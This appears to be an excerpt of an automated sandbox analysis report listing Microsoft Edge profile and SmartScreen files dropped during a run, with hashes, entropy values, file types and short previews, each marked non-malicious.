SHA-512:	2C0F24A1A6295D7A4748D17B4A72BAEE96EAE19566804659B1EEFBB07373DD8AA94C56FE859C0B69C3C631C6A6B81D8FEFC8AFD49A4EF71FDED6CF20F35403CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a857.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772762823228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEe6mtbz8hu3VlXr4CRo1
MD5:	1B67838A4C4CDC56F09C2BFA8B747E05
SHA1:	A7233126A86FBDDC5D823198FED9E06C7A317ABA
SHA-256:	FC0E8D9230E259EBA204F62E764D77E97357FFA6052A5BCB70294437C1843D30
SHA-512:	2C0F24A1A6295D7A4748D17B4A72BAEE96EAE19566804659B1EEFBB07373DD8AA94C56FE859C0B69C3C631C6A6B81D8FEFC8AFD49A4EF71FDED6CF20F35403CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3aa2b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772762823228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEe6mtbz8hu3VlXr4CRo1
MD5:	1B67838A4C4CDC56F09C2BFA8B747E05
SHA1:	A7233126A86FBDDC5D823198FED9E06C7A317ABA
SHA-256:	FC0E8D9230E259EBA204F62E764D77E97357FFA6052A5BCB70294437C1843D30
SHA-512:	2C0F24A1A6295D7A4748D17B4A72BAEE96EAE19566804659B1EEFBB07373DD8AA94C56FE859C0B69C3C631C6A6B81D8FEFC8AFD49A4EF71FDED6CF20F35403CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d0fd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772762823228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEe6mtbz8hu3VlXr4CRo1
MD5:	1B67838A4C4CDC56F09C2BFA8B747E05
SHA1:	A7233126A86FBDDC5D823198FED9E06C7A317ABA
SHA-256:	FC0E8D9230E259EBA204F62E764D77E97357FFA6052A5BCB70294437C1843D30
SHA-512:	2C0F24A1A6295D7A4748D17B4A72BAEE96EAE19566804659B1EEFBB07373DD8AA94C56FE859C0B69C3C631C6A6B81D8FEFC8AFD49A4EF71FDED6CF20F35403CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41171.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772762823228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEe6mtbz8hu3VlXr4CRo1
MD5:	1B67838A4C4CDC56F09C2BFA8B747E05
SHA1:	A7233126A86FBDDC5D823198FED9E06C7A317ABA
SHA-256:	FC0E8D9230E259EBA204F62E764D77E97357FFA6052A5BCB70294437C1843D30
SHA-512:	2C0F24A1A6295D7A4748D17B4A72BAEE96EAE19566804659B1EEFBB07373DD8AA94C56FE859C0B69C3C631C6A6B81D8FEFC8AFD49A4EF71FDED6CF20F35403CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4bae0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772762823228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEe6mtbz8hu3VlXr4CRo1
MD5:	1B67838A4C4CDC56F09C2BFA8B747E05
SHA1:	A7233126A86FBDDC5D823198FED9E06C7A317ABA
SHA-256:	FC0E8D9230E259EBA204F62E764D77E97357FFA6052A5BCB70294437C1843D30
SHA-512:	2C0F24A1A6295D7A4748D17B4A72BAEE96EAE19566804659B1EEFBB07373DD8AA94C56FE859C0B69C3C631C6A6B81D8FEFC8AFD49A4EF71FDED6CF20F35403CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF516ea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772762823228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEe6mtbz8hu3VlXr4CRo1
MD5:	1B67838A4C4CDC56F09C2BFA8B747E05
SHA1:	A7233126A86FBDDC5D823198FED9E06C7A317ABA
SHA-256:	FC0E8D9230E259EBA204F62E764D77E97357FFA6052A5BCB70294437C1843D30
SHA-512:	2C0F24A1A6295D7A4748D17B4A72BAEE96EAE19566804659B1EEFBB07373DD8AA94C56FE859C0B69C3C631C6A6B81D8FEFC8AFD49A4EF71FDED6CF20F35403CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
